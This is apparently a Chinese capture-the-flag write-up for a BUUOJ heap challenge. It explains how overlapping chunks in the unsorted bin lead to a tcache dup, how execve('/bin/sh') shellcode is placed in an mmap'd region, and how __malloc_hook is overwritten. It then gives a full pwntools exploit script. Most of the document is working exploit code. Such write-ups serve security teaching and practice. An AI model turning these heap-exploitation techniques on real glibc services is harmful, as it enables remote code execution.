[TOC]
思路
布置_shellcode_
合并_chunk_
add(0x4f0) add(0x28) add(0x48) add(0x4f0) add(0x20) delete(0) payload = b'a'*0x40+p64(0x580) edit(2,payload)
|
如图:
释放_chunk3_,并向上合并_chunk1_,_chunk2_,如图:
实现_.bss_有相同指针
从_unstored bin_中回收_chunk0_,使_chunk1_,chunk2,chunk3_合并后的_0x580_chunk_,被放到_unstored bin_中。此时.bss_段的_chunk1_,_chunk2_指针依然存在,如图:
chunk_实际已经在_bins_中了,但是.bss_段依然有其指针。说明什么?说明可以使_.bss_段有相同的_chunk_hook_,进而就可以_tcachebin dup_。
从_bins_中回收_chunk1_,chunk2_的指针,.bss_段有两个相同的指针,两组,如图:
实现_tcachebin dup_
delete(1) delete(3) delete(2) delete(5)
|
实现_tcachebin dup_,_tcachebins_中有两张指向自己的指针,如图:
布置_shellcode_
接下来就是利用_tcachebin dup_,把_shellcode_写到,程序在最开始_mmap_的一块内存中
add(0x28) payload = p64(mmap_addr)+b'\n' edit(1,payload) add(0x28) add(0x28) paylaod = shellcode+b'\n' edit(3,payload)
|
覆盖___malloc_hook_为_shellcode_addr_
exp
from tools import * context(arch='amd64',os='linux',log_level='debug')
p = remote("node5.buuoj.cn",27376) debug(p,'pie',0xC9D) libc = ELF('./libc-2.27.so')
def add(size): p.sendlineafter(">> ",str(1)) p.sendlineafter("Size: ",str(size)) p.recvuntil('Pointer Address ') addr = int(p.recv(14),16) return addr def delete(index): p.sendlineafter(">> ",str(2)) p.sendlineafter("Index: ",str(index)) def edit(index,content): p.sendlineafter(">> ",str(3)) p.sendlineafter("Index: ",str(index)) p.sendafter("Content: ",content) shellcode = asm(''' push 0x3b pop rax mov rdi,0x68732f6e69622f push rdi push rsp pop rdi xor rsi,rsi xor rdx,rdx syscall ''') p.recvuntil('Mmap: ') mmap_addr = int(p.recv(12),16) log_addr("mmap_addr") add(0x4f0) add(0x28) add(0x48) add(0x4f0) add(0x20) delete(0) edit(2,b'a'*0x40+p64(0x580)) delete(3) add(0x4f0) add(0x28) add(0x48) delete(1) delete(3) delete(2) delete(5) add(0x28) edit(1,p64(mmap_addr)+b'\n') add(0x28) add(0x28) edit(3,shellcode+b'\n')
add(0x48) add(0x4f0) delete(0) edit(5,b'b'*0x40+p64(0x580)) delete(6) add(0x520) edit(5,b'\x30'+b'\n') add(0x40) add(0x40) edit(7,p64(mmap_addr)+b'\n')
p.sendlineafter(">> ",str(1)) p.sendlineafter("Size: ",str(0x10)) p.interactive()
|